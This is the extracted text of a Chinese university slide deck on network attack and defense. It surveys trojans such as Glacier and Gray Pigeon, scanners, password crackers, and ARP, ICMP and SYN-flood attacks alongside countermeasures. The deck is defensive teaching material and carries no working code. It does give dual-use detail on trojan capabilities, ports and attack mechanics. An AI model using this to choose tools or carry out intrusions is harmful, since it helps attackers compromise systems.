《網(wǎng)絡(luò)攻防技術(shù)》PPT課件.ppt

1、1,第四章 網(wǎng)絡(luò)攻防技術(shù),2,2,本章概要,本章通過剖析常見的網(wǎng)絡(luò)協(xié)議、操作系統(tǒng)與應(yīng)用程序漏洞，分析黑客入侵的思路和方法，使得讀者更深刻地理解應(yīng)對黑客攻擊采用的防范策略，以確保我們使用的網(wǎng)絡(luò)和系統(tǒng)最大限度的安全。本章主要包括以下幾部分：,黑客的定義； 基于協(xié)議的攻擊手法和防御手段； 常見的漏洞分析。,3,課程目標(biāo),通過本章的學(xué)習(xí)，讀者應(yīng)能夠：,了解當(dāng)前主要網(wǎng)絡(luò)安全弱點； 了解黑客攻擊手段，提升防范能力。,4,提示,本章將會介紹和使用部分黑客軟件及相關(guān)工具模擬攻擊過程，所有軟件、工具都來自互聯(lián)網(wǎng)，本身均可能會被程序作者或者第三方加以利用，種植木馬、病毒等惡意程式。我們特別提醒嚴(yán)禁在生產(chǎn)機(jī)器（包括

2、學(xué)校的網(wǎng)絡(luò)）上進(jìn)行安裝、使用。嚴(yán)禁在沒有老師的指導(dǎo)監(jiān)督下進(jìn)行任何模擬攻擊實驗。指導(dǎo)老師需要嚴(yán)格遵循本課程是嚴(yán)要求，按照實驗手冊操作，利用虛擬機(jī)技術(shù)并在物理隔離的網(wǎng)絡(luò)方可進(jìn)行模擬攻擊演示。,5,4.1 網(wǎng)絡(luò)攻防概述,隨著互聯(lián)網(wǎng)的迅猛發(fā)展，一些“信息垃圾”、“郵件炸彈”、“病毒木馬”、“網(wǎng)絡(luò)黑客”等越來越多地威脅著網(wǎng)絡(luò)的安全，而網(wǎng)絡(luò)攻擊是最重要的威脅來源之一，所以有效的防范網(wǎng)絡(luò)攻擊勢在必行，一個能真正能有效應(yīng)對網(wǎng)絡(luò)攻擊的高手應(yīng)該做到知己知彼，方可百戰(zhàn)不殆。,6,6,4.1.1黑客簡介,今天，人們一談到“黑客”（Hacker）往往都帶著貶斥的意思，但是“黑客”的本來含義卻并非如此。一般認(rèn)為，黑客起源

3、于20世紀(jì)50年代美國著名高校的實驗室中，他們智力非凡、技術(shù)高超、精力充沛，熱終于解決一個個棘手的計算機(jī)網(wǎng)絡(luò)難題。60、70年代，“黑客”一詞甚至于極富褒義，從事黑客活動意味著以計算機(jī)網(wǎng)絡(luò)的最大潛力進(jìn)行治理上的自由探索，所謂的“黑客”文化也隨之產(chǎn)生了。然后并非所有的人都能恪守“黑客”文化的信條，專注于技術(shù)的探索，惡意的計算機(jī)網(wǎng)絡(luò)破壞者、信息系統(tǒng)的竊密者隨后層出不窮，人們把這部分主觀上有惡意企圖的人成為“駭客”（Cracker）,試圖區(qū)別于“黑客”，同時也誕生了諸多的黑客分類方法，如“白帽子、黑帽子、灰帽子”。然而，不論主觀意圖如何，“黑客”的攻擊行為在客觀上會造成計算機(jī)網(wǎng)絡(luò)極大的破壞，同時也是

4、對隱私權(quán)的極大侵犯，所以在今天人們把那些侵入計算機(jī)網(wǎng)絡(luò)的不速之客都成為“黑客”。,7,7,黑客分類,灰帽子破解者 破解已有系統(tǒng) 發(fā)現(xiàn)問題/漏洞 突破極限/禁制 展現(xiàn)自我 計算機(jī) 為人民服務(wù) 漏洞發(fā)現(xiàn) - Flashsky 軟件破解 - 0 Day 工具提供 - Glacier,渴求自由,黑客分類,8,8,黑客文化,H4x3r 14n9u493 i5 4 diff3r3n7 14n9u493 fr0m 3n91i5h. w3 c4n find 7hi5 14n9u493 in h4x3r5 885, IRC 0r 07h3r Ch477in9 p14c3.,常見替換 A=4 B=8 E=3 G

5、=9 l=1 O=0 S=5 t=7 Z=2,常見縮寫 CK = x You = u Are = r See = c And = n / & Not = !,黑客文化,9,4.1.2網(wǎng)絡(luò)攻擊防御體系,從系統(tǒng)安全的角度可以把網(wǎng)絡(luò)安全的研究內(nèi)容分為兩大體系：網(wǎng)絡(luò)攻擊和網(wǎng)絡(luò)防御。,10,4.1.3網(wǎng)絡(luò)攻擊的分類,攻擊方法的分類是安全研究的重要課題，對攻擊的定性和數(shù)據(jù)挖掘的方法來分析漏洞有重要意義。對于系統(tǒng)安全漏洞的分類法主要有兩種：RISOS分類法和Aslam分類法，對于針對TCP/IP協(xié)議族攻擊的分類也有幾種。,11,1 按照TCP/IP協(xié)議層次進(jìn)行分類,這種分類是基于對攻擊所屬的網(wǎng)絡(luò)層次進(jìn)行的，

6、TCP/IP協(xié)議傳統(tǒng)意義上分為四層，攻擊類型可以分成四類： (1)針對數(shù)據(jù)鏈路層的攻擊（如ARP欺騙 ） (2)針對網(wǎng)絡(luò)層的攻擊 （如Smurf攻擊、ICMP路由欺騙 ） (3)針對傳輸層的攻擊 （如SYN洪水攻擊、會話劫持 ） (4)針對應(yīng)用層的攻擊 （如DNS欺騙和竊取 ）,12,2 按照攻擊者目的分類,按照攻擊者的攻擊目的可分為以下幾類： （1）DOS（拒絕服務(wù)攻擊）和DDOS（分布式拒絕服務(wù)攻擊）。 （2）Sniffer監(jiān)聽。,13,2 按照攻擊者目的分類,（3）會話劫持與網(wǎng)絡(luò)欺騙。 （4）獲得被攻擊主機(jī)的控制權(quán)，針對應(yīng)用層協(xié)議的緩沖區(qū)溢出基本上目的都是為了得到被攻擊主機(jī)的shell。

7、,14,按危害范圍可分為以下兩類： （1）局域網(wǎng)范圍。如sniffer和一些ARP欺騙。 （2）廣域網(wǎng)范圍。如大規(guī)模僵尸網(wǎng)絡(luò)造成的DDOS。,3 按危害范圍分類,15,4.1.4網(wǎng)絡(luò)攻擊步驟,網(wǎng)絡(luò)攻擊步驟可以說變幻莫測，但縱觀其整個攻擊過程，還是有一定規(guī)律可循的，一般可以分：攻擊前奏、實施攻擊、鞏固控制、繼續(xù)深入幾個過程。下面我們來具體了解一下這幾個過程。,16,4.1.4網(wǎng)絡(luò)攻擊步驟,假設(shè)某黑客想人侵某企業(yè)網(wǎng)絡(luò)中心一臺Win2000的Web服務(wù)器，入侵的目標(biāo)為拿到”Win2000的管理員賬戶或者修改網(wǎng)站首頁。他可能的攻擊思路流程大致如右圖所示。,17,4.2 網(wǎng)絡(luò)攻防工具,所謂網(wǎng)絡(luò)攻防工具是

8、指編寫出來用于網(wǎng)絡(luò)攻擊和防御方面的工具軟件，其功能是執(zhí)行一些諸如掃描端口，防止黑客程序入侵，監(jiān)測系統(tǒng)等，有些是用來防御，而有些則是以惡意攻擊為目的攻擊性軟件，常見的有木馬程序，病毒程序，炸彈程序等，另外還有一部分軟件是為了破解某些軟件或系統(tǒng)的密碼而編寫的，一般也出于非正當(dāng)?shù)哪康?。我們可以通過它們了解網(wǎng)絡(luò)的攻擊手段，掌握防御網(wǎng)絡(luò)攻擊的方法，堵住可能出現(xiàn)的各種漏洞。,18,4.2.1木馬程序,一般的木馬都有客戶端和服務(wù)器端兩個執(zhí)行程序，其中客戶端是用于黑客遠(yuǎn)程控制植入木馬的機(jī)器的程序，服務(wù)器端程序即是木馬程序。如果攻擊者要通過木馬入侵你的系統(tǒng)，他所要做的第一步就是要讓木馬的服務(wù)器端程序在你的計算機(jī)

9、中運(yùn)行。一旦運(yùn)行成功，木馬程序就可以獲得系統(tǒng)管理員的權(quán)限，在用戶毫無覺察的情況下，對計算機(jī)做任何能做的事情。,19,1.冰河 冰河是一個優(yōu)秀的國產(chǎn)木馬程序，它功能眾多，幾乎涵蓋了所有Windows的常用操作，并具有簡單、明了的中文使用界面。冰河采用標(biāo)準(zhǔn)的C/S結(jié)構(gòu)，包括客戶端程序(G_Client.exe)和服務(wù)器端程序(G_Server.exe)，客戶端的圖標(biāo)是一把打開的瑞士軍刀，服務(wù)器端則看起來是個微不足道的程序，但就是這個程序在計算機(jī)上執(zhí)行以后，該計算機(jī)的7626號端口就對外開放了。如果在客戶端輸入其IP地址或者主機(jī)名，就可完全控制這臺計算機(jī)了。,20,它可以自動跟蹤目標(biāo)機(jī)器的屏幕變化；

10、可以完全模擬鍵盤及鼠標(biāo)輸入；可以記錄各種口令信息，包括開機(jī)口令、屏?？诹?、各種共享資源口令以及絕大多數(shù)在對話框中出現(xiàn)過的口令信息；可以獲取系統(tǒng)信息，包括計算機(jī)名、注冊公司、當(dāng)前用戶、系統(tǒng)路徑、操作系統(tǒng)版本、當(dāng)前顯示分辨率、物理及邏輯磁盤信息等多項系統(tǒng)數(shù)據(jù)；它還可以限制系統(tǒng)功能、進(jìn)行遠(yuǎn)程文件操作及注冊表操作，同時它還具有發(fā)送信息和點對點通訊的能力。,21,22,2.藍(lán)色火焰 藍(lán)色火焰是一款有實力、有新意的木馬，它放棄了作為遠(yuǎn)程監(jiān)控工具的客戶端程序，直接利用現(xiàn)有網(wǎng)絡(luò)相關(guān)的程序來控制服務(wù)器端。這一特色使藍(lán)色火焰這個“沒有客戶端的木馬”逐漸成為了許多黑客必備的工具之一。藍(lán)色火焰具有的網(wǎng)絡(luò)特性可以通過一

11、些代理服務(wù)器控制服務(wù)端，選擇好的控制工具(如Sterm或Cuteftp)便可以實現(xiàn)用Socket代理控制，更好的隱蔽了自己的IP。,23,藍(lán)色火焰木馬通過藍(lán)色火焰配置器生成，如圖所示,24,3.灰鴿子 灰鴿子是一個功能強(qiáng)大的遠(yuǎn)程控制類軟件，它與同類木馬軟件不同的是采用了“反彈端口原理”的連接方式，可以在互聯(lián)網(wǎng)上訪問到局域網(wǎng)內(nèi)通過透明代理上網(wǎng)的電腦，并且可以穿過某些防火墻?；银澴臃譃榭蛻舳伺c服務(wù)端，軟件在下載安裝后沒有服務(wù)端，只有客戶端H_Clien.exe，服務(wù)器端是要通過配置生成。,25,現(xiàn)在的木馬層出不窮，數(shù)不勝數(shù)，比較出名的還有諸如BO2K、廣外女生、網(wǎng)絡(luò)神偷、黑洞2001、無賴小子等等

12、，令人防不勝防。我們應(yīng)注意這方面的信息，做好對木馬的防御和清除工作。一般來說，要作到以下三點： (1)不輕易運(yùn)行來歷不明的軟件； (2)及時升級殺毒軟件，使病毒庫保持最新； (3)安裝并運(yùn)行防火墻。,26,4.2.2掃描工具,掃描工具是一種能夠自動檢測遠(yuǎn)程或本地主機(jī)安全弱點的程序，通過它可以獲得遠(yuǎn)程計算機(jī)的各種端口分配及提供的服務(wù)和它們的版本。掃描器工作時是通過選用不同的TCP/IP端口的服務(wù)，并記錄目標(biāo)主機(jī)給予的應(yīng)答，以此搜集到關(guān)于目標(biāo)主機(jī)的各種有用信息的。,27,1.流光 流光是國內(nèi)最著名的掃描、入侵工具，集端口掃描、字典工具、入侵工具、口令猜解等多種功能于一身，界面豪華，功能強(qiáng)大。它可以

13、探測POP3、FTP、SMTP、IMAP、SQL、IPC、IIS、FINGER等各種漏洞，并針對各種漏洞設(shè)計了不同的破解方案，能夠在有漏洞的系統(tǒng)上輕易得到被探測的用戶密碼。,28,2.Superscan Superscan是一個功能強(qiáng)大的端口掃描工具，它可以通過Ping來檢驗?zāi)繕?biāo)計算機(jī)是否在線，支持IP和域名相互轉(zhuǎn)換，還可以檢驗一定范圍內(nèi)目標(biāo)計算機(jī)的端口情況和提供的服務(wù)類別。Superscan可以自定義要檢驗的端口，并可以保存為端口列表文件，它還自帶了一個木馬端口列表，通過這個列表可以檢測目標(biāo)計算機(jī)是否有木馬，同時用戶也可以自己定義、修改這個木馬端口列表。在Superscan找到的主機(jī)上，單擊

14、右鍵可以實現(xiàn)HTTP瀏覽、TELNET登陸、FTP上傳、域名查詢等功能。,29,3.x-way2.5 x-way2.5是一個主要采用多線程形式對服務(wù)器系統(tǒng)進(jìn)行漏洞掃描和安全測試的工具。同流光一樣，它最大的特點也是高集成度，除了擁有類似于流光中的IIS遠(yuǎn)程命令及SQL遠(yuǎn)程命令外，還擁有流光目前不具備的一些功能，在這一點上，x-way2.5與流光相比，毫不遜色。,30,4.SSS SSS（Shadow Security Scanner）是俄羅斯的一套非常專業(yè)的安全漏洞掃描軟件，能夠掃描目標(biāo)服務(wù)器上的各種漏洞，包括很多漏洞掃描、端口掃描、操作系統(tǒng)檢測、賬號掃描等等，而且漏洞數(shù)據(jù)可以隨時更新，,31,

15、4.2.3破解工具,利用破解工具我們可以檢查密碼的安全性及找回忘記的密碼，但用心不良的人也可以用它來破解他人的密碼，以達(dá)自己不可告人的目的。根據(jù)破解原理的不同，破解工具大致可分為窮舉法破解器和查看法破解器兩種。窮舉法，又叫暴力破解法，其過程是從字典文件里抽出一個字段來和要破解的密碼進(jìn)行對比，直到破解出密碼或字典里的字段全部試完為止。這種守株待兔的方法看似簡單，但由于黑客字典通常包含了很多黑客經(jīng)驗的累積，所以此法對于安全意識不強(qiáng)的用戶，破解率是很高的。查看法是指程序通過嗅探或系統(tǒng)漏洞來獲得密碼文件的方法。,32,1.溯雪 溯雪是一款優(yōu)秀的密碼探測工具，它可以利用ASP、CGI對免費(fèi)信箱進(jìn)行密碼探

16、測，其運(yùn)行原理是，通過提取ASP、CGI頁面表單，搜尋表單運(yùn)行后的錯誤標(biāo)志，有了錯誤標(biāo)志后，再掛上字典文件來破解信箱密碼。,33,2.網(wǎng)絡(luò)刺客II 網(wǎng)絡(luò)刺客是天行軟件的經(jīng)典之作，軟件的最大作用就是，當(dāng)有人在局域網(wǎng)中使用的POP3、FTP、Telnet服務(wù)時，網(wǎng)絡(luò)刺客II就可以截獲其中的密碼。程序的II代同I代相比，無論在功能、性能、技術(shù)上都有了長足的進(jìn)步，I代只相當(dāng)于II代的一個微小子集。,34,3.黑雨 黑雨是一款非常優(yōu)秀的POP3郵箱密碼暴力破解器。它可以驗證用戶名和密碼是否正確，并獨創(chuàng)了深度和廣度兩種破解算法。深度算法是一種很特殊的算法，如果密碼位數(shù)猜得準(zhǔn)，就可以將破解時間縮短30%-7

17、0%。廣度算法是一種老實的算法，現(xiàn)大多數(shù)類似功能的工具都采用它，其對3位以下的短小密碼非常有效?？偟膩砜?，黑雨軟件的特色為獨創(chuàng)了多項算法，簡單、易用且功能強(qiáng)大。,35,4.2.4炸彈工具,炸彈攻擊的基本原理是利用特殊工具軟件，在短時間內(nèi)向目標(biāo)機(jī)集中發(fā)送大量超出系統(tǒng)接收范圍的信息或者垃圾信息，目的在于使對方目標(biāo)機(jī)出現(xiàn)超負(fù)荷、網(wǎng)絡(luò)堵塞等狀況，從而造成目標(biāo)的系統(tǒng)崩潰及拒絕服務(wù)。常見的炸彈有郵件炸彈、邏輯炸彈、聊天室炸彈等。,36,4.2.5安全防御工具,使用安全防御工具可以幫助我們抵擋網(wǎng)絡(luò)入侵和攻擊，防止信息泄露，并可以根據(jù)可疑的信息，來跟蹤、查找攻擊者。下面就一些經(jīng)常使用的安全防御工具做出說明。,

18、37,1.木馬克星 木馬克星是一款專門針對國產(chǎn)木馬的軟件。如圖4-12所示，該軟件是動態(tài)監(jiān)視網(wǎng)絡(luò)與靜態(tài)特征字掃描的完美結(jié)合，可以查殺5021種國際木馬，112種電子郵件木馬，保證查殺冰河類文件，關(guān)聯(lián)木馬，QQ類寄生木馬，ICMP類幽靈木馬，網(wǎng)絡(luò)神偷類反彈木馬，并內(nèi)置木馬防火墻，任何黑客試圖與本機(jī)建立連接，都需要木馬克星的確認(rèn)，不僅可以查殺木馬，還可以查黑客。,38,2.Lockdown 2000 Lockdown 2000是一款功能強(qiáng)大的網(wǎng)絡(luò)安全工具，能夠清除木馬，查殺郵件病毒，防止網(wǎng)絡(luò)炸彈攻擊，還能在線檢測所有對本機(jī)的訪問并進(jìn)行控制。Lockdown 2000專業(yè)版完全可以勝任本機(jī)防火墻的工

19、作。 在Lockdown 2000專業(yè)版中總共有13個功能模塊，包括木馬掃描器、端口監(jiān)視器、共享監(jiān)視器、連接監(jiān)視器、進(jìn)程監(jiān)視器、網(wǎng)絡(luò)監(jiān)視器、網(wǎng)絡(luò)工具包等，涉及到網(wǎng)絡(luò)安全的方方面面。如果能合理的配置Lockdown 2000專業(yè)版，并結(jié)合其它工具，其功能完全可以強(qiáng)過一些中小企業(yè)級防火墻。,39,3.Recover4all Professional 2.15 Recover4all Professional 2.15是Windows 系統(tǒng)下短小精悍、功能強(qiáng)大的文件反刪除工具，可用于恢復(fù)被黑客刪除的數(shù)據(jù)。其原理為，當(dāng)刪除一個文件時，系統(tǒng)并不是到每個簇去清除該文件的內(nèi)容，而僅僅是把ROOT里面文件名的

20、第一個字符換成一個特殊的字符，以標(biāo)記這個文件被刪除而已。Recover4all Professional 2.15可以把此過程逆向操作，即可恢復(fù)文件了。,40,4.Windows漏洞的安全掃描工具 工具一：MBSA MBSA（Microsoft Baseline Security Analyzer，微軟基準(zhǔn)安全分析器），該軟件能對Windows、Office、IIS、SQL Server等軟件進(jìn)行安全和更新掃描，掃描完成后會用“X”將存在的漏洞標(biāo)示出來，并提供相應(yīng)的解決方法來指導(dǎo)用戶進(jìn)行修補(bǔ)。 工具二：Updatescan UPDATESCAN是微軟公司針對每月發(fā)布的補(bǔ)丁所開發(fā)的補(bǔ)丁掃描工具，

21、不同于MBSA的是，每月UPDATESCAN都會有新的版本。,41,4.3 基于協(xié)議的攻擊技術(shù)與防御技術(shù),針對協(xié)議的攻擊手段非常多樣，下面對常見的協(xié)議攻擊方式進(jìn)行探討，主要內(nèi)容包括：,ARP協(xié)議漏洞攻擊； ICMP協(xié)議漏洞攻擊； TCP協(xié)議漏洞攻擊； 各種協(xié)議明文傳輸攻擊。,42,4.3.1 ARP協(xié)議漏洞攻擊與防御,ARP協(xié)議（Address Resolve Protocol,地址解析協(xié)議）工作在TCP/IP協(xié)議的第二層數(shù)據(jù)鏈路層，用于將IP地址轉(zhuǎn)換為網(wǎng)絡(luò)接口的硬件地址（媒體訪問控制地址，即MAC地址）。無論是任何高層協(xié)議的通信，最終都將轉(zhuǎn)換為數(shù)據(jù)鏈路層硬件地址的通訊。 在每臺主機(jī)的內(nèi)存中，

22、都有一個ARPMAC的轉(zhuǎn)換表，保存最近獲得的IP與MAC地址對應(yīng)。ARP表通常是動態(tài)更新的（注意在路由中，該ARP表可以被設(shè)置成靜態(tài)）。默認(rèn)情況下，但其中的緩存項超過兩分鐘沒有活動時，此緩存項就會超時被刪除。,43,漏洞描述 ARP協(xié)議最大的缺陷是：當(dāng)主機(jī)收到ARP數(shù)據(jù)包時，不會進(jìn)行任何驗證就刷新Cache，記錄下錯誤的IP/MAC對，給ARP欺騙帶來機(jī)會，造成ARPCache中毒?；诖嗽?，可以用來精心地構(gòu)造中間人攻擊或者DOS攻擊，如arptool可以實現(xiàn)中間人這種攻擊，輕者導(dǎo)致網(wǎng)絡(luò)不能正常工作（如網(wǎng)絡(luò)執(zhí)法官），重則成為黑客入侵跳板，從而給網(wǎng)絡(luò)安全造成極大隱患。,44,信任關(guān)系,C,A,

23、B,(同一網(wǎng)段的arp欺騙),攻擊實現(xiàn),45,ARP欺騙防范 知道了ARP欺騙的方法和危害，下面列出了一些防范方法 (1)不要把你的網(wǎng)絡(luò)安全信任關(guān)系建立在IP地址的基礎(chǔ)上或硬件MAC地址基礎(chǔ)上(RARP同樣存在欺騙的問題)，較為理想的信任關(guān)系應(yīng)該建立在IP+MAC基礎(chǔ)上。 (2)設(shè)置在本機(jī)和網(wǎng)關(guān)設(shè)置靜態(tài)的MAC-IP對應(yīng)表，不要讓主機(jī)刷新你設(shè)定好的轉(zhuǎn)換表。在三層交換機(jī)上設(shè)定靜態(tài)ARP表。,46,(3) 除非很有必要，否則停止使用ARP，將ARP作為永久條目保存在對應(yīng)表中。在Linux下可以用ifconfigarp可以使網(wǎng)卡驅(qū)動程序停止使用ARP。 (4) 在本機(jī)地址使用ARP，發(fā)送外出的通信使

24、用代理網(wǎng)關(guān)。,47,(5) 修改系統(tǒng)拒收ICMP重定向報文，在Linux下可以通過在防火墻上拒絕ICMP重定向報文或者是修改內(nèi)核選項重新編譯內(nèi)核來拒絕接收ICMP重定向報文。在windows 2000下可以通過防火墻和IP策略拒絕接收ICMP報文,48,4.3.2 ICMP協(xié)議漏洞攻擊與防御,1 漏洞描述 ICMP是Internet Control Message Protocol (Internet控制消息協(xié)議)的縮寫，是傳輸層的重要協(xié)議。它是TCP/IP協(xié)議簇的一個子協(xié)議，用于IP主機(jī)、路由器之間傳遞控制消息。控制消息是指網(wǎng)絡(luò)通不通、主機(jī)是否可達(dá)、路由是否可用等網(wǎng)絡(luò)本身的消息。所以許多系統(tǒng)

25、和防火墻并不會攔截ICMP報文，這給攻擊者帶來可乘之機(jī)。 網(wǎng)上有很多針對ICMP的攻擊工具可以很容易達(dá)到攻擊目的，其攻擊實現(xiàn)目標(biāo)主要為轉(zhuǎn)向連接攻擊和拒絕服務(wù)，下圖所示是一個簡單的針對ICMP的攻擊工具。,49,ICMP攻擊工具,50,2 攻擊實現(xiàn) （1）ICMP轉(zhuǎn)向連接攻擊：攻擊者使用 ICMP“時間超出”或“目標(biāo)地址無法連接”的消息。這兩種ICMP消息都會導(dǎo)致一臺主機(jī)迅速放棄連接。攻擊只需偽造這些ICMP消息中的一條，并發(fā)送給通信中的兩臺主機(jī)或其中的一臺，就可以利用這種攻擊了。接著通信連接就會被切斷。當(dāng)一臺主機(jī)錯誤地認(rèn)為信息的目標(biāo)地址不在本地網(wǎng)絡(luò)中的時候，網(wǎng)關(guān)通常會使用ICMP“轉(zhuǎn)向”消息。

26、如果攻擊者偽造出一條“轉(zhuǎn)向”消息，它就可以導(dǎo)致另外一臺主機(jī)經(jīng)過攻擊者主機(jī)向特定連接發(fā)送數(shù)據(jù)包。,51,(2)ICMP數(shù)據(jù)包放大(ICMP Smurf)：攻擊者向安全薄弱網(wǎng)絡(luò)所廣播的地址發(fā)送偽造的ICMP響應(yīng)數(shù)據(jù)包。那些網(wǎng)絡(luò)上的所有系統(tǒng)都會向受害計算機(jī)系統(tǒng)發(fā)送ICMP響應(yīng)的答復(fù)信息，占用了目標(biāo)系統(tǒng)的可用帶寬并導(dǎo)致合法通信的服務(wù)拒絕(DoS)。一個簡單的Smurf攻擊，通過使用將回復(fù)地址設(shè)置成受害網(wǎng)絡(luò)的廣播地址的ICMP應(yīng)答請求(Ping)來淹沒受害主機(jī)的方式進(jìn)行，最終導(dǎo)致該網(wǎng)絡(luò)的所有主機(jī)都對此ICMP應(yīng)答請求做出答復(fù)，導(dǎo)致網(wǎng)絡(luò)阻塞，比ping of death洪水的流量高出一或兩個數(shù)量級。更加復(fù)

27、雜的Smurf將源地址改為第三方的受害者，最終導(dǎo)致第三方雪崩。,52,(3)死Ping攻擊(Ping of Death)：由于在早期的階段，路由器對包的最大尺寸都有限制，許多操作系統(tǒng)對TCP/IP棧的限制在ICMP包上都是規(guī)定64KB，并且在對包的標(biāo)題頭進(jìn)行讀取之后，要根據(jù)該標(biāo)題頭里包含的信息來為有效載荷生成緩沖區(qū)，當(dāng)產(chǎn)生畸形的，聲稱自己的尺寸超過ICMP上限的包，也就是加載的尺寸超過64KB上限時，就會出現(xiàn)內(nèi)存分配錯誤，導(dǎo)致TCP/IP堆棧崩潰，致使接受方當(dāng)機(jī)。,53,(4)ICMP Ping淹沒攻擊：大量的PING信息廣播淹沒了目標(biāo)系統(tǒng)，使得它不能夠?qū)戏ǖ耐ㄐ抛龀鲰憫?yīng)。 (5)ICMP

28、nuke攻擊：Nuke發(fā)送出目標(biāo)操作系統(tǒng)無法處理的信息數(shù)據(jù)包，從而導(dǎo)致該系統(tǒng)癱瘓。 (6)通過ICMP進(jìn)行攻擊信息收集：通過Ping命令來檢查目標(biāo)主機(jī)是否存活，依照返回TTL值判斷目標(biāo)主機(jī)操作系統(tǒng)。(如：LINUX應(yīng)答的 TTL字段值為64；UNIX應(yīng)答的TTL字段值為255；Windows 95/98/Me應(yīng)答的TTL字段值為32；Windows2000/NT應(yīng)答的TTL字段值為128)。,54,55,4.3.3 TCP協(xié)議漏洞攻擊與防御,1.漏洞描述 TCP(傳輸控制協(xié)議，Transport Control Protocol)是一種可靠的面向連接的傳送服務(wù)。它在傳送數(shù)據(jù)時是分段進(jìn)行的，主機(jī)

29、交換數(shù)據(jù)必須建立一個會話。它用比特流通信，即數(shù)據(jù)被作為無結(jié)構(gòu)的字節(jié)流。通過每個TCP傳輸?shù)淖侄沃付樞蛱枺垣@得可靠性。針對TCP協(xié)議的攻擊的基本原理是：TCP協(xié)議三次握手沒有完成的時候，被請求端B一般都會重試（即再給 A發(fā)送 SYNACK報文）并等待一段時間（SYN timeout），這常常被用來進(jìn)行DOS攻擊或者Land攻擊。在Land攻擊中，一個特別打造的SYN包其原地址和目標(biāo)地址都被設(shè)置成某一個服務(wù)器地址，此舉將導(dǎo)致接收服務(wù)器向它自己的地址發(fā)送SYN-ACK消息，結(jié)果該地址又發(fā)回ACK消息并創(chuàng)建一個空連接，每一個這樣的連接都將保留直至超時。對Land攻擊反應(yīng)不同，許多 UNIX系統(tǒng)將崩

30、潰，NT變得極其緩慢。,56,2.攻擊實現(xiàn) 在 SYN Flood攻擊中，攻擊機(jī)器向受害主機(jī)發(fā)送大量偽造源地址的TCP SYN報文，受害主機(jī)分配必要的資源，然后向源地址返回SYNACK包，并等待源端返回ACK包，如所示。,57,58,3.防御方法 針對SYN Flood的攻擊防御措施主要有：一類是通過防火墻、路由器等過濾網(wǎng)關(guān)防護(hù)，另一類是通過加固TCP/IP協(xié)議棧防御。 網(wǎng)關(guān)防護(hù)的主要技術(shù)有：SYN-cookie技術(shù)和基于監(jiān)控的源地址狀態(tài)、縮短SYN Timeout時間。SYN-cookie技術(shù)實現(xiàn)了無狀態(tài)的握手，避免SYN Flood的資源消耗?；诒O(jiān)控的源地址狀態(tài)技術(shù)能夠?qū)γ恳粋€連接服務(wù)器

31、的IP地址的狀態(tài)進(jìn)行監(jiān)控，主動采取措施避免SYN Flood攻擊的影響。,59,4.3.4其他協(xié)議明文傳輸漏洞攻擊與防御,1.漏洞描述 TCP/IP協(xié)議數(shù)據(jù)流采用明文傳輸，是網(wǎng)絡(luò)安全的一大隱患，目前所使用的Ftp、Http、POP和Telnet服務(wù)在本質(zhì)上都是不安全的，因為它們在網(wǎng)絡(luò)上用明文傳送口令和數(shù)據(jù)，攻擊者可以很容易地通過嗅探等方式截獲這些口令和數(shù)據(jù)。,60,嗅探偵聽主要有兩種途徑，一種是將偵聽工具軟件放到網(wǎng)絡(luò)連接的設(shè)備或者放到可以控制網(wǎng)絡(luò)連接設(shè)備的電腦上，這里的網(wǎng)絡(luò)連接設(shè)備指的是網(wǎng)關(guān)服務(wù)器、路由器等。另外一種是針對不安全的局域網(wǎng)（采用交換Hub實現(xiàn)），放到個人電腦上就可以實現(xiàn)對整個局域

32、網(wǎng)的偵聽。,61,2.攻擊實現(xiàn) 網(wǎng)絡(luò)抓包工具目前很多，如HTTPSniffer、SpyNet、Sniffit、Ettercap、Snarp、IRIS。這里要使用到一款抓包工具 Winsock Expert，它可以用來監(jiān)視和截獲指定進(jìn)程網(wǎng)絡(luò)數(shù)據(jù)的傳輸，對測試Http通信過程非常有用。黑客經(jīng)常使用該工具來修改網(wǎng)絡(luò)發(fā)送和接收數(shù)據(jù)，協(xié)助完成很多網(wǎng)頁腳本的入侵工作。,62,3.防御方法 (1)從邏輯或物理上對網(wǎng)絡(luò)分段，網(wǎng)絡(luò)分段通常被認(rèn)為是控制網(wǎng)絡(luò)廣播風(fēng)暴的一種基本手段，但其實也是保證網(wǎng)絡(luò)安全的一項措施。其目的是將非法用戶與敏感的網(wǎng)絡(luò)資源相互隔離，從而防止可能的非法監(jiān)聽。 (2)以交換式集線器代替共享式集

33、線器，使單播包僅在兩個節(jié)點之間傳送，從而防止非法監(jiān)聽。當(dāng)然，交換式集線器只能控制單播包而無法控制廣播包（Broadcast packet）和多播包（Multicast Packet）。但廣播包和多播包內(nèi)的關(guān)鍵信息，要遠(yuǎn)遠(yuǎn)少于單播包。 (3)使用加密技術(shù)，數(shù)據(jù)經(jīng)過加密后，通過監(jiān)聽仍然可以得到傳送的信息，但顯示的是亂碼。使用加密協(xié)議對敏感數(shù)據(jù)進(jìn)行加密，對于Web服務(wù)器敏感數(shù)據(jù)提交可以使用https代理http；用 PGP（PGP-Pretty Good Privacy是一個基于 RSA公鑰加密體系的郵件加密軟件，它提出了公共鑰匙或不對稱文件加密和數(shù)字簽名）對郵件進(jìn)行加密。,63,(4)劃分VLAN

34、，運(yùn)用 VLAN（虛擬局域網(wǎng)）技術(shù)，將以太網(wǎng)通信變?yōu)辄c到點通信，可以防止大部分基于網(wǎng)絡(luò)監(jiān)聽的入侵。 (5)使用動態(tài)口令技術(shù)，使得偵聽結(jié)果再次使用時無效。,64,4.4 操作系統(tǒng)漏洞攻擊技術(shù)與防御技術(shù),無論是UNIX、Windows還是其他操作系統(tǒng)都存在著安全漏洞。主流操作系統(tǒng)Windows更是眾矢之的，每次微軟的系統(tǒng)漏洞被發(fā)現(xiàn)后，針對該漏洞利用的惡意代碼很快就會出現(xiàn)在網(wǎng)上，一系列案例證明。從漏洞被發(fā)現(xiàn)到惡意代碼出現(xiàn)，中間的時差開始變得越來越短，所以必須時刻關(guān)注操作系統(tǒng)的最新漏洞，以保證系統(tǒng)安全。,65,4.4.1輸入法漏洞攻擊與防御,1.漏洞描述 在安裝Windows 2000簡體中文版的過程

